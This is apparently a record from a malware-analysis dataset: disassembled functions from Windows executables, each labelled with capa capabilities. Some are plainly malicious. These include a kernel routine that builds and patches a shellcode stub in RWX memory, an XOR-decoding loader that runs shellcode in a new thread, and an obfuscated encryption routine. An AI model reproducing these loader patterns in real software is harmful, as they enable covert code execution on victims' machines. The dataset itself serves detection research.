joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003d000
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov rax, qword [0x14002a380]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x38], 0
cmp qword [0x140038e00], 0
je 0x14003d06c
cmp qword [rsp + 0x80], 0
je 0x14003d060
mov rax, qword [rsp + 0x80]
mov ecx, dword [0x140038e08]
mov dword [rax], ecx
mov rax, qword [0x140038e00]
jmp 0x14003d239
lea rdx, [0x140046700]
lea rcx, [rsp + 0x50]
call fcn.140017250
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14003d09c
xor eax, eax
jmp 0x14003d239
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0xb
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x48], 0
jne 0x14003d0e0
lea r9, [0x140046720]
lea r8, [0x140046730]
xor edx, edx
mov ecx, 0x4d
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
xor eax, eax
jmp 0x14003d239
mov eax, dword [rsp + 0x48]
mov r8d, 0x4b555341
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool2]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x48]
mov qword [rsp + 0x40], rax
mov rdi, qword [rsp + 0x28]
xor eax, eax
mov rcx, qword [rsp + 0x40]
rep stosb byte [rdi], al
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x28]
mov ecx, 0xb
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jl 0x14003d21a
mov rax, qword [rsp + 0x28]
add rax, 8
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 0
jmp 0x14003d15e
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax]
cmp dword [rsp + 0x20], eax
jae 0x14003d21a
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx + rax + 0x10]
cmp qword [rsp + 0x38], rax
jb 0x14003d215
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov ecx, dword [rsp + 0x20]
imul rcx, rcx, 0x128
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 0x18]
mov rdx, qword [rsp + 0x30]
add rcx, qword [rdx + rax + 0x10]
mov rax, rcx
cmp qword [rsp + 0x38], rax
jae 0x14003d215
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx + rax + 0x10]
mov qword [0x140038e00], rax
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x18]
mov dword [0x140038e08], eax
cmp qword [rsp + 0x80], 0
je 0x14003d213
mov rax, qword [rsp + 0x80]
mov ecx, dword [0x140038e08]
mov dword [rax], ecx
jmp 0x14003d21a
jmp 0x14003d154
cmp qword [rsp + 0x28], 0
je 0x14003d232
mov edx, 0x4b555341
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, qword [0x140038e00]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140021990
add rsp, 0x70
pop rdi
ret
Function at 0x14003d340
Capabilities:
Access pe header

Disassembly:
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [0x14002a380]
xor rax, rsp
mov qword [rsp + 0x70], rax
xor ecx, ecx
call section.PAGE
mov qword [rsp + 0x40], rax
cmp qword [0x140038e10], 0
je 0x14003d37b
mov rax, qword [0x140038e10]
jmp 0x14003d4dd
cmp qword [rsp + 0x40], 0
jne 0x14003d38a
xor eax, eax
jmp 0x14003d4dd
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
add rax, 0x108
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x14003d3c4
mov rax, qword [rsp + 0x30]
add rax, 0x28
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 6]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x30], rax
jae 0x14003d4db
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
and eax, 0x8000000
test eax, eax
je 0x14003d4d6
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x14003d4d6
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
and eax, 0x2000000
test eax, eax
jne 0x14003d4d6
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x54494e49
je 0x14003d4d6
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x45474150
je 0x14003d4d6
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x60]
lea rcx, [0x140046770]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov r9, rcx
mov r8d, 0xf
mov dl, 0xcc
lea rcx, [rsp + 0x60]
call fcn.1400180c0
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jl 0x14003d4d6
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 3]
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax + 7]
mov qword [0x140038e10], rax
mov rax, qword [0x140038e10]
jmp 0x14003d4dd
jmp 0x14003d3b6
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140021990
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x140040d70
Capabilities:
Inspect section memory permissions

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x18
mov dword [rsp], 1
mov eax, dword [rsp + 0x20]
and eax, 0x2000000
test eax, eax
je 0x140040d9c
mov dword [rsp], 1
jmp 0x140040e66
mov eax, dword [rsp + 0x20]
and eax, 0x20000000
test eax, eax
je 0x140040e33
mov eax, dword [rsp + 0x20]
and eax, 0x80000000
test eax, eax
je 0x140040dde
movzx eax, byte [rsp + 0x28]
test eax, eax
je 0x140040dcd
mov dword [rsp + 4], 4
jmp 0x140040dd5
mov dword [rsp + 4], 0x40
mov eax, dword [rsp + 4]
mov dword [rsp], eax
jmp 0x140040e31
mov eax, dword [rsp + 0x20]
and eax, 0x40000000
test eax, eax
je 0x140040e0f
movzx eax, byte [rsp + 0x28]
test eax, eax
je 0x140040dfe
mov dword [rsp + 8], 2
jmp 0x140040e06
mov dword [rsp + 8], 0x20
mov eax, dword [rsp + 8]
mov dword [rsp], eax
jmp 0x140040e31
movzx eax, byte [rsp + 0x28]
test eax, eax
je 0x140040e22
mov dword [rsp + 0xc], 2
jmp 0x140040e2a
mov dword [rsp + 0xc], 0x10
mov eax, dword [rsp + 0xc]
mov dword [rsp], eax
jmp 0x140040e66
mov eax, dword [rsp + 0x20]
and eax, 0x80000000
test eax, eax
je 0x140040e49
mov dword [rsp], 4
jmp 0x140040e66
mov eax, dword [rsp + 0x20]
and eax, 0x40000000
test eax, eax
je 0x140040e5f
mov dword [rsp], 2
jmp 0x140040e66
mov dword [rsp], 1
mov eax, dword [rsp]
add rsp, 0x18
ret
Function at 0x140040e70
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14002a380]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140040fdc
mov dword [rsp + 0x58], 0
lea r9, [rsp + 0x58]
mov r8w, 0xa
mov dl, 1
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140040fda
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x140040f02
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x58]
mov qword [rsp + 0x38], rax
jmp 0x140040f0f
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140040fda
mov rax, qword [rsp + 0x80]
shr rax, 0x20
mov ecx, dword [rsp + 0x80]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
lea rcx, [rsp + 0x5c]
call qword [sym.imp.ntoskrnl.exe_RtlRandomEx]
mov eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x140040fa2
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x140040f86
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x58]
mov qword [rsp + 0x40], rax
jmp 0x140040f93
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov qword [rax], rcx
jmp 0x140040fda
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x140040fc2
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x58]
mov qword [rsp + 0x48], rax
jmp 0x140040fcf
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x50]
mov dword [rax], ecx
jmp 0x140040fe4
mov dword [rsp + 0x28], 0xc000007b
mov eax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140021990
add rsp, 0x78
ret
Function at 0x140045300
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x18], r8
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x48
movzx eax, byte [rsp + 0x58]
test eax, eax
je 0x14004532e
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
jmp 0x140045405
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140045403
mov rax, qword [rsp + 0x28]
add rax, 0x108
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x10b
jne 0x14004537a
mov rax, qword [rsp + 0x28]
add rax, 0xf8
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
jmp 0x140045394
mov rax, qword [rsp + 0x20]
add rax, 0x28
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 6]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x20], rax
jae 0x140045403
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0xc]
cmp dword [rsp + 0x50], eax
jb 0x140045401
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x20]
add eax, dword [rcx + 8]
cmp dword [rsp + 0x50], eax
jae 0x140045401
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x20]
mov ecx, dword [rcx + 0xc]
mov edx, dword [rsp + 0x50]
sub edx, ecx
mov ecx, edx
mov ecx, ecx
add rax, rcx
jmp 0x140045405
jmp 0x140045386
xor eax, eax
add rsp, 0x48
ret
Function at 0x140045ae0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [0x14002a380]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x1000
mov byte [rsp + 0x50], 0x68
mov byte [rsp + 0x51], 0
mov byte [rsp + 0x52], 0
mov byte [rsp + 0x53], 0
mov byte [rsp + 0x54], 0
mov byte [rsp + 0x55], 0x68
mov byte [rsp + 0x56], 0
mov byte [rsp + 0x57], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x59], 0
mov byte [rsp + 0x5a], 0x6a
mov byte [rsp + 0x5b], 0
mov byte [rsp + 0x5c], 0x6a
mov byte [rsp + 0x5d], 0
mov byte [rsp + 0x5e], 0xe8
mov byte [rsp + 0x5f], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x61], 0
mov byte [rsp + 0x62], 0
mov byte [rsp + 0x63], 0xba
mov byte [rsp + 0x64], 0
mov byte [rsp + 0x65], 0
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 0
mov byte [rsp + 0x68], 0xc7
mov byte [rsp + 0x69], 2
mov byte [rsp + 0x6a], 0x7e
mov byte [rsp + 0x6b], 0x1e
mov byte [rsp + 0x6c], 0x37
mov byte [rsp + 0x6d], 0xc0
mov byte [rsp + 0x6e], 0xba
mov byte [rsp + 0x6f], 0
mov byte [rsp + 0x70], 0
mov byte [rsp + 0x71], 0
mov byte [rsp + 0x72], 0
mov byte [rsp + 0x73], 0x89
mov byte [rsp + 0x74], 2
mov byte [rsp + 0x75], 0xc2
mov byte [rsp + 0x76], 4
mov byte [rsp + 0x77], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x48]
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x140045d10
mov rax, qword [rsp + 0x40]
add rax, 0x200
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx + 2]
mov word [rax + 2], cx
mov rax, qword [rsp + 0x40]
add rax, 0x210
mov rcx, qword [rsp + 0x38]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rcx + 4]
mov rdx, qword [rsp + 0xa8]
mov edi, ecx
mov rsi, qword [rdx + 8]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x50]
mov rdi, qword [rsp + 0x40]
mov rsi, rax
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x40]
add rax, 0x5e0
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 1], eax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x38]
mov dword [rax + 6], ecx
mov rax, qword [rsp + 0x40]
add rax, 0xf
mov rcx, qword [rsp + 0xa0]
sub rcx, rax
mov rax, rcx
sub rax, 4
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0xf], eax
mov rax, qword [rsp + 0x40]
add rax, 0x5e8
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x14], eax
mov rax, qword [rsp + 0x40]
add rax, 0x5ec
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x1f], eax
mov rax, qword [rsp + 0x40]
jmp 0x140045d12
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140021990
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x1400492c0
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x20], r9
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [0x14002a380]
xor rax, rsp
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0xc0], 0
jne 0x140049302
mov dword [rsp + 0x38], 1
jmp 0x14004930a
mov dword [rsp + 0x38], 0
cmp dword [rsp + 0x38], 0
je 0x140049338
xor r9d, r9d
mov r8d, 0x9d
lea rdx, [0x140049520]
lea rcx, [0x140049560]
call qword [sym.imp.ntoskrnl.exe_RtlAssert]
mov dword [rsp + 0x48], 0
jmp 0x140049340
mov dword [rsp + 0x48], 1
cmp qword [rsp + 0xc0], 0
jne 0x140049355
mov eax, 0xc000000d
jmp 0x1400494a7
xor ecx, ecx
call section.PAGE
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140049373
mov eax, 0xc0000225
jmp 0x1400494a7
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140049395
mov eax, 0xc000007b
jmp 0x1400494a7
mov rax, qword [rsp + 0x50]
add rax, 0x108
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], rax
jmp 0x1400493bf
mov rax, qword [rsp + 0x30]
add rax, 0x28
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x30], rax
jae 0x1400494a2
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x78]
call qword [sym.imp.ntoskrnl.exe_RtlInitAnsiString]
mov rax, qword [rsp + 0x30]
mov rdx, rax
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x78]
call qword [sym.imp.ntoskrnl.exe_RtlCompareString]
test eax, eax
jne 0x14004949d
mov qword [rsp + 0x60], 0
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov r9, rcx
mov r8, qword [rsp + 0xb8]
movzx edx, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0xa8]
call fcn.1400180c0
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0
jl 0x140049497
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c]
jmp 0x1400494a7
jmp 0x1400493b1
mov eax, 0xc0000225
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140021990
add rsp, 0x98
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140012ce0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400159a0
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001c198]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14002109f]
call fcn.14001136b
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x149
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov r8d, 0x149
lea rdx, section..data
mov rcx, qword [rbp + 8]
call fcn.1400111ae
mov dword [rbp + 0x44], 0
jmp 0x140015a21
mov eax, dword [rbp + 0x44]
inc eax
mov dword [rbp + 0x44], eax
movsxd rax, dword [rbp + 0x44]
cmp rax, 0x149
jae 0x140015a49
movsxd rax, dword [rbp + 0x44]
mov rcx, qword [rbp + 8]
movsx eax, byte [rcx + rax]
xor eax, 0x35
movsxd rcx, dword [rbp + 0x44]
mov rdx, qword [rbp + 8]
mov byte [rdx + rcx], al
jmp 0x140015a19
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x68], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140019c00]
call fcn.140011302
mov eax, edi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400111a9
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x140011271
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014030
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014050
xor al, al
jmp 0x1400140d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014063
xor al, al
jmp 0x1400140d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001408d
xor al, al
jmp 0x1400140d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400140a1
xor al, al
jmp 0x1400140d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400140b3
xor al, al
jmp 0x1400140d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400140cf
xor al, al
jmp 0x1400140d1
mov al, 1
add rsp, 0x38
ret
Function at 0xc88e2b
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
shl eax, cl
cmp r15b, r12b
test r13b, 0x91
mov dword [rsp + 0x70], r12d
clc
jmp 0xcb00fb
mov dword [rsp + 0x80], r12d
add eax, 0x736
jmp 0xc89f4f
shl edx, cl
shl rcx, 0x13
mov ecx, dword [rax + 4]
cmc
mov r14, rbx
shl edi, cl
movsx rbp, cx
movzx rcx, di
mov rcx, qword [rsp + 0xa0]
movzx rbp, si
movsxd r10, r11d
movsx r10w, r10b
dec edx
xchg r10b, r10b
dec edi
xor bpl, r13b
mov ebp, ebx
movzx r10d, dx
btc r10w, 0x31
cmp sil, 0x25
mov r10d, r12d
cmp r11, r15
mov dword [rsp + 0xc], edi
sbb dil, 0xa8
mov edi, dword [rax]
cmc
mov qword [r9], rbx
test ebp, esp
cmp r8b, 0xa9
mov qword [rcx], rbx
cmc
bsf cx, bp
mov eax, dword [rax + 4]
mov dword [rsp + 0x10], edx
ror rcx, cl
sar ecx, cl
lea ecx, [rdi + rax]
mov eax, 0x300
jmp 0x19719a4
not edi
mov rdi, qword [rsp + 0x10]
mov qword [rsp + 0x10], 0xc96d3fc
push qword [rsp + 8]
popfq
lea rsp, [rsp + 0x10]
call int.00ca67b1
mov qword [rsp + 0x20], r9
movsx ax, ah
mov qword [rsp + 0x18], r8
bswap r8
mov qword [rsp + 0x10], rdx
push rbx
shrd r10d, r14d, 4
test r14b, 0x20
push rbp
sar bpl, 0x8c
push rdi
clc
sub r8, 0xfffffffff100882f
push r12
sar r12, cl
sbb dil, r11b
push r13
cdqe
push r14
bswap rax
shr di, cl
push r15
sal r10b, 0x27
shl al, 0x1c
sub rsp, 0x30
test dl, r13b
mov r15, qword [rcx + 0x10]
movzx r14d, r14w
mov rax, rcx
mov ecx, dword [rcx + 8]
or r12b, bpl
ror r8b, 0xb2
bts r12d, r8d
xor ebx, ebx
shr edi, 0x18
cmovle r14, rbp
mov r8, rdx
test edi, r10d
clc
and r14b, r10b
mov r12d, 1
inc r10b
btr rdi, 0xad
mov edx, 1
setle r14b
sbb r10w, 0x6f2b
sbb bpl, bl
mov edi, 1
sar r10b, cl
bsf r14, rbp
sub r11b, r11b
bsr r14w, r15w
rcr r10b, 0xa3
jmp 0xcbbc9f
mov dword [rsp + 8], edi
jmp 0xc88e2b
Function at 0x140017db0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140017dd8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140017dfe
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140017e00
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140017e59
test ecx, ecx
jle 0x140017e39
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140017e59
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140017e59
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140017e80
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140017ea2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140017eb8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140017ed4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140017ed6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140017f12
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140017fae
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140017f4d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140017f8e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
